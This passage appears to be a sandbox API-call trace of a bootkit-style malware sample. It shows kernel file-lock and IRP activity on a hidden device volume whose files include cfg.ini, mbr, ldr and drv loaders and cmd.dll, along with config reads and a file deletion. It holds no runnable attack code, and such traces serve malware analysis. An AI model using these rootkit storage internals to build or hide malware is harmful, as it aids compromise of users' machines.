_Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.464] KeEnterCriticalRegion () [0128.465] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.465] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.465] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.465] KeLeaveCriticalRegion () [0128.465] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.465] KeEnterCriticalRegion () [0128.465] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.465] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.465] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.465] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.465] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0128.465] IdePortDispatch () returned 0x103 [0128.465] KeWaitForMutexObject () returned 0x0 [0128.465] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.465] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.465] KeLeaveCriticalRegion () [0128.465] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.465] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.465] KeEnterCriticalRegion () [0128.465] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.465] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035a9000 [0128.465] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.465] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.465] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.465] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.465] IdePortDispatch () returned 0x103 [0128.465] KeWaitForMutexObject () returned 0x0 [0128.466] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.466] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.466] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.466] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.466] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.466] IdePortDispatch () returned 0x103 [0128.466] KeWaitForMutexObject () returned 0x0 [0128.466] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.466] KeLeaveCriticalRegion () [0128.466] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.466] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.466] KeEnterCriticalRegion () [0128.466] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.466] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.466] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.466] KeLeaveCriticalRegion () [0128.467] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.467] KeEnterCriticalRegion () [0128.467] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.467] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0128.467] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfff20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.467] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.467] KeLeaveCriticalRegion () [0128.467] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.467] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.467] KeEnterCriticalRegion () [0128.467] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.467] ExFreePoolWithTag (P=0xfffffa8003ac4a00, Tag=0x0) [0128.467] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.467] KeLeaveCriticalRegion () [0128.467] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.467] ReleaseMutex (hMutex=0xf0) returned 1 [0128.467] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.467] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0128.467] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.467] KeEnterCriticalRegion () [0128.467] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.467] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.467] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.467] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.467] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0128.467] IdePortDispatch () returned 0x103 [0128.467] KeWaitForMutexObject () returned 0x0 [0128.468] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.468] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.468] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.468] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.468] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.468] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bfe460 [0128.468] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.468] KeLeaveCriticalRegion () [0128.468] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.468] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.468] KeEnterCriticalRegion () [0128.468] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.468] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.468] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.468] KeLeaveCriticalRegion () [0128.468] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.468] KeEnterCriticalRegion () [0128.468] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.468] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.468] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.468] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.468] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0128.468] IdePortDispatch () returned 0x103 [0128.468] KeWaitForMutexObject () returned 0x0 [0128.469] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.469] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.469] KeLeaveCriticalRegion () [0128.469] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.469] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.469] KeEnterCriticalRegion () [0128.469] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.469] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035aa000 [0128.469] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.469] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.469] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.469] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.469] IdePortDispatch () returned 0x103 [0128.469] KeWaitForMutexObject () returned 0x0 [0128.469] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.469] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.469] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.469] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.469] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.469] IdePortDispatch () returned 0x103 [0128.469] KeWaitForMutexObject () returned 0x0 [0128.469] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.469] KeLeaveCriticalRegion () [0128.470] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.470] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.470] KeEnterCriticalRegion () [0128.470] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.470] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.470] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.470] KeLeaveCriticalRegion () [0128.470] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.470] KeEnterCriticalRegion () [0128.470] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.470] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0128.470] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfe570, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.470] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.470] KeLeaveCriticalRegion () [0128.470] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.470] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.470] KeEnterCriticalRegion () [0128.470] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.470] ExFreePoolWithTag (P=0xfffffa8003bfe460, Tag=0x0) [0128.470] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.470] KeLeaveCriticalRegion () [0128.470] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.470] ReleaseMutex (hMutex=0xf0) returned 1 [0128.470] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.470] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0128.471] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.471] KeEnterCriticalRegion () [0128.471] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.471] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.471] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.471] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.471] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0128.471] IdePortDispatch () returned 0x103 [0128.471] KeWaitForMutexObject () returned 0x0 [0128.471] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.471] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.471] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.471] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.471] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.471] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bfe0b0 [0128.471] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.471] KeLeaveCriticalRegion () [0128.471] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.471] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.471] KeEnterCriticalRegion () [0128.471] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.471] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.471] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.471] KeLeaveCriticalRegion () [0128.471] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.471] KeEnterCriticalRegion () [0128.471] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.471] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.471] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.471] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.471] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0128.471] IdePortDispatch () returned 0x103 [0128.471] KeWaitForMutexObject () returned 0x0 [0128.472] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.472] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.472] KeLeaveCriticalRegion () [0128.472] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.472] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.472] KeEnterCriticalRegion () [0128.472] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.472] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035ab000 [0128.472] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.472] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.472] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.472] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.472] IdePortDispatch () returned 0x103 [0128.472] KeWaitForMutexObject () returned 0x0 [0128.472] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.472] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.472] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.472] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.472] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.472] IdePortDispatch () returned 0x103 [0128.472] KeWaitForMutexObject () returned 0x0 [0128.473] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.473] KeLeaveCriticalRegion () [0128.473] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.473] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.473] KeEnterCriticalRegion () [0128.473] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.473] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.473] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.473] KeLeaveCriticalRegion () [0128.473] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.473] KeEnterCriticalRegion () [0128.473] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.473] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0128.473] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bff9d0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.473] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.473] KeLeaveCriticalRegion () [0128.473] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.473] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.473] KeEnterCriticalRegion () [0128.473] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.473] ExFreePoolWithTag (P=0xfffffa8003bfe0b0, Tag=0x0) [0128.473] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.473] KeLeaveCriticalRegion () [0128.474] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.474] ReleaseMutex (hMutex=0xf0) returned 1 [0128.474] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0128.474] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0128.474] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0128.474] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0128.474] KeEnterCriticalRegion () [0128.474] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.474] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.474] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.474] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.474] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0128.474] IdePortDispatch () returned 0x103 [0128.474] KeWaitForMutexObject () returned 0x0 [0128.474] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.474] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0128.474] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.474] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.474] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.474] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0128.474] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0128.474] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.474] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.474] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0128.474] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.474] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.474] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.474] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.474] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.474] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.474] KeLeaveCriticalRegion () [0128.474] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.474] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0128.474] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0128.474] KeEnterCriticalRegion () [0128.474] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.475] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.475] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.475] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.475] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0128.475] IdePortDispatch () returned 0x103 [0128.475] KeWaitForMutexObject () returned 0x0 [0128.475] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.475] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0128.475] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.475] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.475] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.475] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0128.475] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0128.475] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.475] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.475] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0128.475] _strnicmp (_Str1="", _Str="lsash.xp", 